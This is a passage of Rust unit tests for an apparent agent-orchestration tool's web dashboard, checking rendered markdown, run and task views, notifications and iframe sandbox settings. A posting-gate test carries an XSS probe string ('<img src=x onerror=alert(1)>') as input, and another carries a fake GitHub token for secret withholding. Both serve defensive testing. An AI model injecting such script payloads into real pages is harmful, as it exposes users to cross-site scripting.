22131        assert!(APP_JS.contains("resume"));
22132        // The unreadable-runs count stays on the page.
22133        assert!(APP_JS.contains("unreadable"));
22134    }
22135
22136    #[test]
22137    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22138        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22139        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22140        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
22141        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
22142        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22143        // The subtitle still counts them whatever the banner does.
22144        assert!(APP_JS.contains("unreadable` : null"));
22145    }
22146
22147    #[test]
22148    fn blocked_run_detail_exposes_the_failed_gate_reason() {
22149        let mut state = RunState::new(
22150            "/repo".into(),
22151            "main".into(),
22152            "abc".into(),
22153            "task".into(),
22154            crate::config::Config::default(),
22155        );
22156        state.status = RunStatus::Blocked;
22157        state.gate_ran = true;
22158        state.gate.push(crate::run::CommandOutcome {
22159            command: "cargo make check".into(),
22160            code: Some(1),
22161            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22162            duration_ms: 0,
22163            resource_blocked: false,
22164            ..Default::default()
22165        });
22166        let view = RunDetailView::of(
22167            state,
22168            false,
22169            crate::run::Liveness::Unknown,
22170            None,
22171            None,
22172            None,
22173        );
22174        let value = serde_json::to_value(view).unwrap();
22175        assert_eq!(
22176            value["stop_reason"],
22177            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22178        );
22179    }
22180
22181    #[test]
22182    fn the_run_detail_payload_says_whether_the_run_is_done() {
22183        // `landView` reads `run.done`; the detail response must carry it.
22184        for (status, done) in [
22185            (RunStatus::Superseded, true),
22186            (RunStatus::Blocked, true),
22187            (RunStatus::Landing, false),
22188        ] {
22189            let mut state = RunState::new(
22190                std::path::PathBuf::from("/repo"),
22191                "main".to_owned(),
22192                "abc".to_owned(),
22193                "x".to_owned(),
22194                crate::config::Config::default(),
22195            );
22196            state.status = status;
22197            let v = serde_json::to_value(RunDetailView::of(
22198                state,
22199                false,
22200                crate::run::Liveness::Unknown,
22201                None,
22202                None,
22203                None,
22204            ))
22205            .unwrap();
22206            assert_eq!(v["done"], done, "{status:?}");
22207        }
22208    }
22209
22210    /// The first node of a markdown block holds a `strong` somewhere.
22211    fn has_strong(nodes: &[md::Node]) -> bool {
22212        serde_json::to_string(nodes).unwrap().contains("strong")
22213    }
22214
22215    #[test]
22216    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22217        let mut state = RunState::new(
22218            std::path::PathBuf::from("/repo"),
22219            "main".to_owned(),
22220            "abc".to_owned(),
22221            "x".to_owned(),
22222            crate::config::Config::default(),
22223        );
22224        let proposal = |approach: &str| {
22225            serde_json::json!({
22226                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22227            })
22228        };
22229        state.advice = Some(
22230            serde_json::from_value(serde_json::json!({
22231                "records": [
22232                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22233                     "proposal": proposal("do **this**")},
22234                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22235                ],
22236                "synthesis": "- one\n- **two**\n\n`code`",
22237            }))
22238            .unwrap(),
22239        );
22240        state.candidates = serde_json::from_value(serde_json::json!([
22241            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22242             "summary": "did **it**"},
22243            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22244        ]))
22245        .unwrap();
22246        // Recorded in ascending severity, the reverse of how the page sorts
22247        // them: the arrays must follow the record, not the display.
22248        state.reviews = serde_json::from_value(serde_json::json!([{
22249            "round": 1, "head": "h",
22250            "reviews": [{
22251                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22252                "findings": [
22253                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
22254                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22255                ],
22256            }],
22257            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22258            "fix": {"agent": "a", "notes": "fixed **it**",
22259                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22260        }, {"round": 2, "head": "h2", "reviews": []}]))
22261        .unwrap();
22262
22263        let v = serde_json::to_value(RunDetailView::of(
22264            state,
22265            false,
22266            crate::run::Liveness::Unknown,
22267            None,
22268            None,
22269            None,
22270        ))
22271        .unwrap();
22272
22273        let strong = |p: &str| {
22274            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22275            assert!(n.to_string().contains("strong"), "{p}: {n}");
22276        };
22277        strong("/advice_md/synthesis");
22278        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22279        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22280        strong("/advice_md/approaches/0");
22281        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22282        strong("/candidate_summaries_md/0");
22283        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22284        strong("/reviews_md/0/reviewers/0/summary");
22285        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22286        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22287        assert!(f[1].to_string().contains("strong"));
22288        strong("/reviews_md/0/reconsideration/0");
22289        strong("/reviews_md/0/fix/notes");
22290        strong("/reviews_md/0/fix/rejected/0");
22291        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22292        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22293        // The raw strings stay, and no schema moved.
22294        assert_eq!(v["candidates"][0]["summary"], "did **it**");
22295        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22296    }
22297
22298    #[test]
22299    fn a_run_without_advice_has_no_advice_md() {
22300        let state = RunState::new(
22301            std::path::PathBuf::from("/repo"),
22302            "main".to_owned(),
22303            "abc".to_owned(),
22304            "x".to_owned(),
22305            crate::config::Config::default(),
22306        );
22307        let p = run_prose_md(&state);
22308        assert!(p.advice_md.is_none());
22309        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22310    }
22311
22312    #[test]
22313    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22314        let store = ask::Questions::at(PathBuf::from("unused"));
22315        let gt = crate::github_text::Withheld {
22316            title: false,
22317            body: true,
22318            categories: vec!["sensitive-data".into()],
22319        };
22320        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22321        let (detail, comparison) =
22322            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22323        let mut q = Question::new(
22324            "r".into(),
22325            "github-text".into(),
22326            "posting-gate".into(),
22327            "s".into(),
22328            detail,
22329            Vec::new(),
22330        );
22331        assert!(
22332            QuestionView::of(q.clone(), &store, None)
22333                .posting_view
22334                .is_none()
22335        );
22336        q.posting_comparison = Some(comparison);
22337        let view = QuestionView::of(q.clone(), &store, None);
22338        let field = &view.posting_view.unwrap().fields[0];
22339        assert_eq!(
22340            field
22341                .original
22342                .iter()
22343                .map(|f| f.text.as_str())
22344                .collect::<String>(),
22345            body
22346        );
22347        assert!(field.original[0].text.starts_with("<img"));
22348        let original_question: Question =
22349            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22350        assert_eq!(original_question, q);
22351        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22352            .original
22353            .start = 1;
22354        assert!(
22355            QuestionView::of(q.clone(), &store, None)
22356                .posting_view
22357                .is_none()
22358        );
22359        q.posting_comparison = original_question.posting_comparison;
22360        q.detail.push_str("extra context");
22361        assert!(
22362            QuestionView::of(q.clone(), &store, None)
22363                .posting_view
22364                .is_some()
22365        );
22366        q.detail.insert(0, 'x');
22367        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22368    }
22369
22370    #[test]
22371    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22372        let store = ask::Questions::at(PathBuf::from("unused"));
22373        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22374        let gt = crate::github_text::Withheld::from_check(
22375            &crate::github_text::check("fix: x", body),
22376            "fix: x",
22377            body,
22378        )
22379        .unwrap();
22380        let (detail, comparison) =
22381            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22382        let mut q = Question::new(
22383            "r".into(),
22384            "github-text".into(),
22385            "posting-gate".into(),
22386            "s".into(),
22387            detail,
22388            Vec::new(),
22389        );
22390        q.posting_comparison = Some(comparison);
22391        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22392        let field = &value["posting_view"]["fields"][0];
22393        let group = &field["replacement_group"];
22394        let triggers = group["triggers"].as_array().unwrap();
22395        assert_eq!(triggers.len(), 2);
22396        assert_ne!(triggers[0], triggers[1]);
22397        for id in triggers {
22398            assert!(
22399                field["original"]
22400                    .as_array()
22401                    .unwrap()
22402                    .iter()
22403                    .any(|f| &f["pair"] == id)
22404            );
22405            assert!(
22406                !field["changed"]
22407                    .as_array()
22408                    .unwrap()
22409                    .iter()
22410                    .any(|f| &f["pair"] == id)
22411            );
22412        }
22413        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22414            group["id"].as_u64().unwrap() as usize;
22415        assert!(
22416            QuestionView::of(q, &store, None).posting_view.is_none(),
22417            "group and trigger IDs cannot collide"
22418        );
22419    }
22420
22421    #[test]
22422    fn a_question_view_carries_markdown_for_each_thread_turn() {
22423        let home = TempDir::new().unwrap();
22424        let store = ask::Questions::at(home.path().join("questions"));
22425        let mut q = Question::new(
22426            "run".to_owned(),
22427            "implement".to_owned(),
22428            "impl-A".to_owned(),
22429            "which?".to_owned(),
22430            String::new(),
22431            Vec::new(),
22432        );
22433        q.say("plain words").unwrap();
22434        q.reply("use **this**", Vec::new()).unwrap();
22435        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22436        let bodies = &v["thread_bodies_md"];
22437        assert_eq!(bodies.as_array().unwrap().len(), 2);
22438        assert!(!bodies[0].to_string().contains("strong"));
22439        assert!(bodies[1].to_string().contains("strong"));
22440    }
22441
22442    #[test]
22443    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22444        let home = TempDir::new().unwrap();
22445        let store = ask::Questions::at(home.path().join("questions"));
22446        let mut q = Question::new(
22447            "run".to_owned(),
22448            "conduct".to_owned(),
22449            "conduct".to_owned(),
22450            "which?".to_owned(),
22451            String::new(),
22452            Vec::new(),
22453        );
22454        q.say("plain words").unwrap();
22455        q.thread.push(ask::Turn {
22456            who: ask::Who::Agent,
22457            body: "Settled as `merge`".to_owned(),
22458            at: jiff::Timestamp::now(),
22459            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22460        });
22461        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22462        let notes = &v["thread_notes_md"];
22463        assert_eq!(notes.as_array().unwrap().len(), 2);
22464        assert!(notes[0].is_null());
22465        let text = notes[1].to_string();
22466        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22467        assert!(APP_JS.contains("ask-turn-note"));
22468    }
22469
22470    #[test]
22471    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22472        // The land panel defers to `run.status` for merged, and labels a
22473        // recorded-open PR on any finished run (superseded, blocked, ...) as
22474        // last seen, never as live state.
22475        assert!(APP_JS.contains("function landView(run, raw) {"));
22476        assert!(
22477            APP_JS.contains(
22478                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22479            )
22480        );
22481        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22482        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22483        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22484        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22485    }
22486
22487    #[test]
22488    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22489        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22490        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22491        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22492        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22493    }
22494
22495    #[test]
22496    fn review_rounds_label_a_distinct_verified_head() {
22497        assert!(APP_JS.contains("round.verified_head"));
22498        assert!(APP_JS.contains("verified HEAD"));
22499        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22500    }
22501
22502    #[test]
22503    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22504        // A blocked task's chip and note must not fall back to a queued-like
22505        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22506        // itself by e11fc58 but never checked here.
22507        assert!(APP_JS.contains("blocked: { glyph:"));
22508        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22509
22510        // `blocked_by` mixes task ids and question ids in the same list, and
22511        // the client can only tell them apart by checking each id against
22512        // what it actually knows - never by guessing from the id's shape.
22513        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22514        assert!(
22515            APP_JS.contains(
22516                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22517            ),
22518            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22519        );
22520        // The classification must key off `status_str`, never off `blocked_by`
22521        // or `block_reason` merely being present - both can survive briefly
22522        // on a task a hold or a dead daemon just moved off `blocked`.
22523        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22524
22525        // The dedicated Dependencies view uses the server-projected
22526        // `/api/dependencies` explorer rather than the obsolete client SVG.
22527        assert!(APP_JS.contains("dependencies: \"/api/dependencies\""));
22528        assert!(!APP_JS.contains("function depNode("));
22529        assert!(!APP_JS.contains("function dependencyRanks("));
22530
22531        // `Task::answers` - decisions already made - are shown as a record on
22532        // the card, the same disclosure style as the full instruction.
22533        assert!(APP_JS.contains("Resolved questions"));
22534        assert!(APP_JS.contains("r.answersList.append("));
22535        assert!(APP_CSS.contains(".task-answers"));
22536        {
22537            let start = APP_JS
22538                .find("function updateTalkTaskRow")
22539                .expect("updateTalkTaskRow");
22540            let body = &APP_JS[start..];
22541            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22542            assert!(
22543                body.contains(
22544                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22545                ),
22546                "a chat-filed task row must link to the task page"
22547            );
22548            assert!(
22549                !body.contains("#/runs/") && !body.contains("#/queue/"),
22550                "the row must not branch to a run or the queue card"
22551            );
22552            assert!(APP_CSS.contains(".talk-task-link"));
22553        }
22554    }
22555
22556    #[test]
22557    fn a_task_notification_links_to_the_task_page() {
22558        // A task notice opens the task detail page, not the Backlog card.
22559        let start = APP_JS
22560            .find("function noticeLink(")
22561            .expect("noticeLink exists");
22562        let body = &APP_JS[start..];
22563        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22564        assert!(
22565            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22566            "a task notice's link must target the task page"
22567        );
22568        assert!(
22569            !body.contains("#/queue/"),
22570            "regression: the task link must not go back to the Backlog route"
22571        );
22572        assert!(
22573            APP_JS.contains(
22574                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22575            ),
22576            "`#/tasks/<id>` must parse into the task route"
22577        );
22578
22579        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22580        assert!(
22581            APP_JS.contains(
22582                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22583            ),
22584            "`#/queue/<id>` must parse into a route carrying that id"
22585        );
22586
22587        // And the Backlog view has to actually land on the card once it can
22588        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22589        // so a focus set before the queue has loaded is retried once it has.
22590        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22591        assert!(APP_JS.contains("function consumeQueueFocus()"));
22592        assert!(APP_JS.contains("jumpToTask(id)"));
22593    }
22594
22595    #[test]
22596    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22597        let start = APP_JS
22598            .find("function noticeCoveredBy(")
22599            .expect("noticeCoveredBy exists");
22600        let body = &APP_JS[start..];
22601        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22602
22603        // Historical associations are informational, even for open questions.
22604        assert!(body.contains("Associated question ${short}"));
22605        assert!(!body.contains("el(\"a\""));
22606
22607        // A resolved question displays status rather than an actionable link
22608        assert!(body.contains("(resolved)"));
22609        assert!(body.contains("(closed)"));
22610
22611        let start = APP_JS
22612            .find("function renderNotifications()")
22613            .expect("renderNotifications exists");
22614        let body = &APP_JS[start..];
22615        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22616
22617        // Only a server-resolved answerable question supplies a response link.
22618        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22619        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22620        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22621        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22622    }
22623
22624    /// Chat rows are two lines at every width: the title alone, then the
22625    /// shrinkable secondary info.
22626    #[test]
22627    fn chat_rows_put_the_title_alone_on_the_first_line() {
22628        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22629        assert!(APP_CSS.contains(
22630            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22631        ));
22632        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22633        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22634    }
22635
22636    #[test]
22637    fn run_rows_put_the_title_alone_on_the_first_line() {
22638        assert!(
22639            APP_CSS.contains(
22640                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22641            )
22642        );
22643        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22644        assert!(APP_JS.contains("class: \"card run-card\""));
22645        assert!(APP_JS.contains("class: \"repo run-id\""));
22646    }
22647
22648    /// Wide screens get a master/detail layout built from the views a phone
22649    /// drills into. These are string assertions: they pin the contract between
22650    /// the three assets, not how it looks.
22651    #[test]
22652    fn wide_screens_show_list_and_preview_side_by_side() {
22653        // One breakpoint, spelled the same in the script and the stylesheet.
22654        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22655        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22656        assert!(APP_CSS.contains("main[data-split]"));
22657        assert!(APP_CSS.contains("body[data-split]"));
22658
22659        // The route -> panes table, and a narrow screen opting out of it.
22660        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22661        assert!(
22662            APP_JS.contains(
22663                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22664            )
22665        );
22666        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22667        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22668        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22669
22670        // Selection is derived from the route, and only ever paints a row.
22671        assert!(APP_JS.contains("function markSelected() {"));
22672        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22673        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22674        // The dense row must override the stacked card the 720px block sets up.
22675        assert!(
22676            APP_CSS.contains(
22677                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22678            )
22679        );
22680
22681        // Independent scrolling: the page stops scrolling, each pane does.
22682        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22683        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22684        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22685        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22686
22687        // A refresh must never navigate: the loaders still check that their
22688        // subject is the one on screen, and crossing the breakpoint only
22689        // re-reads the hash.
22690        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22691        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22692        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22693        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22694
22695        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22696        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22697    }
22698
22699    #[test]
22700    fn panel_sandbox_carries_exactly_popups() {
22701        let needle = "sandbox: \"";
22702        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22703        assert_eq!(
22704            matches.len(),
22705            1,
22706            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22707        );
22708        let start = matches[0].0 + needle.len();
22709        let end = APP_JS[start..]
22710            .find('"')
22711            .expect("sandbox attribute value must be terminated by a closing quote");
22712        let val = &APP_JS[start..start + end];
22713        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22714        let expected: std::collections::BTreeSet<&str> =
22715            ["allow-popups", "allow-popups-to-escape-sandbox"]
22716                .into_iter()
22717                .collect();
22718        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22719        assert!(
22720            !tokens.contains("allow-scripts"),
22721            "allow-scripts must never be present in sandbox"
22722        );
22723        assert!(
22724            !tokens.contains("allow-same-origin"),
22725            "allow-same-origin must never be present in sandbox"
22726        );
22727    }
22728
22729    #[test]
22730    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22731        // consumeQueueFocus() clears an active Backlog search before it can
22732        // scroll to the target card (the sections list is hidden while a
22733        // search is showing), by recursing back into renderQueue(). The
22734        // fixer's first cut nulled state.queueFocus before that recursive
22735        // call, so the second pass saw nothing to jump to and the jump was
22736        // silently dropped whenever a notification's link was opened with a
22737        // stale search still active. state.queueFocus must only be cleared
22738        // right before jumpToTask() actually runs.
22739        assert!(
22740            APP_JS.contains(
22741                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22742            ),
22743            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22744             recursive renderQueue() call has nothing left to jump to"
22745        );
22746        assert!(
22747            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22748            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22749             arrives later still gets it"
22750        );
22751        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22752        assert!(APP_JS.contains("is not in the current Backlog."));
22753        assert!(APP_JS.contains("li.card[data-task-id=\""));
22754        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22755        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22756        assert!(APP_CSS.contains(".card-permalink"));
22757        assert!(APP_CSS.contains(".queue-focus-status"));
22758        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22759    }
22760
22761    #[test]
22762    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22763        // The task's own repro: only the link text inside .notice-meta was
22764        // clickable, so a tap on the message, the timestamp, or the card's
22765        // padding did nothing - on a phone that reads as "the card doesn't
22766        // work" even though the tiny link inside it did. Mark read / Dismiss
22767        // must keep working independently of this: `.closest("a, button")`
22768        // is what lets a tap that actually lands on those elements fall
22769        // through instead of being hijacked into a navigation.
22770        assert!(
22771            APP_JS.contains(
22772                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22773            ),
22774            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22775        );
22776    }
22777
22778    #[test]
22779    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22780        assert!(
22781            APP_JS.contains("round.verified_head !== round.head"),
22782            "a round that verified an earlier commit must be visibly distinct from one that \
22783             verified the head reviewers are looking at now"
22784        );
22785        assert!(
22786            APP_JS.contains("round.verified_at"),
22787            "when a check ran must be on the wire, not just which commit"
22788        );
22789        assert!(
22790            APP_JS.contains("resource_blocked"),
22791            "a command magi never got to run (shared build cache contention) must not render \
22792             the same as a command that ran and failed"
22793        );
22794    }
22795
22796    #[test]
22797    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22798        // Every KPI tile but Total runs and Completion names an exact
22799        // RunStatus and hands it to openRunsFiltered(), which is what wires
22800        // the click into state.runsFilter.status (matchesFilter's own
22801        // status check) rather than the coarser runsStateFilter chips. Each
22802        // status literal here must be one of the strings runSection() (and
22803        // isStale()) actually compare a run's own `status` field against -
22804        // a status this dashboard invented would filter to nothing.
22805        assert!(
22806            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22807            "every KPI tile built through statusTile() must route its click through \
22808             openRunsFiltered, the single place that sets the Runs filter"
22809        );
22810        for (label, status) in [
22811            ("Merged", "merged"),
22812            ("Ready", "ready"),
22813            ("Blocked", "blocked"),
22814            ("Stalled", "stalled"),
22815        ] {
22816            let call = format!("statusTile(\"{label}\", t.{status}, ");
22817            assert!(
22818                APP_JS.contains(&call),
22819                "expected the {label} KPI tile built via {call}..."
22820            );
22821            assert!(
22822                APP_JS.contains(&format!("status === \"{status}\"")),
22823                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22824                 compare a run against, not one invented only for the stats tile"
22825            );
22826        }
22827        assert!(
22828            APP_JS.contains("function openRunsFiltered(status)"),
22829            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22830        );
22831        assert!(
22832            APP_JS.contains(
22833                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22834            ),
22835            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22836        );
22837        // applyRoute() only flips which view is visible for a plain `#runs`
22838        // hash - it does not itself redraw the list (see applyRoute's own
22839        // handling below) - so openRunsFiltered must call renderRuns()
22840        // itself, and must call applyRoute() too so the view flips even
22841        // when the hash string doesn't change (the operator may already be
22842        // on the Runs view when a tile is tapped, which fires no
22843        // hashchange event at all).
22844        assert!(
22845            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22846            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22847             hashchange event that may never fire"
22848        );
22849    }
22850
22851    #[test]
22852    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22853        // A stats tile can leave state.runsFilter.status set to something
22854        // done-by-construction (e.g. "merged") - picking "Active" afterward
22855        // must drop it the same way an incompatible tree section is already
22856        // dropped, or the Runs list renders permanently empty with no way
22857        // for the operator to tell why.
22858        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22859        assert!(
22860            APP_JS.contains(
22861                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22862            ),
22863            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22864             guard for an incompatible tree section"
22865        );
22866    }
22867
22868    #[test]
22869    fn every_stats_queue_tile_names_a_real_queue_section() {
22870        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22871        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22872        // (consumeQueueSectionFocus finds no matching <details> and drops
22873        // the focus) rather than fail loudly, so pin every key against the
22874        // section list it has to resolve against.
22875        assert!(
22876            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22877            "every queue tile built through sectionTile() must route its click through \
22878             openQueueSectionFocus"
22879        );
22880        for key in ["upnext", "running", "done", "held", "blocked"] {
22881            assert!(
22882                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22883                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22884            );
22885        }
22886        // Queued and Failed intentionally both resolve to "upnext" - the
22887        // same section queueSection() itself files them under - rather than
22888        // getting a section each.
22889        for line in [
22890            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22891            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22892            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22893            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22894            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22895            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22896        ] {
22897            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22898        }
22899    }
22900
22901    #[test]
22902    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22903        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22904        // above for the section-focus channel a stats queue tile drives:
22905        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22906        // through the stale-search-clear recursion into renderQueue(), and
22907        // clear it only once revealQueueSection() is actually about to run -
22908        // the same trap that once silently dropped a task-focus jump.
22909        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22910        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22911        assert!(APP_JS.contains("function revealQueueSection(details)"));
22912        assert!(
22913            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22914            "renderQueue() must consume both focus channels on every pass"
22915        );
22916        assert!(
22917            APP_JS.contains(
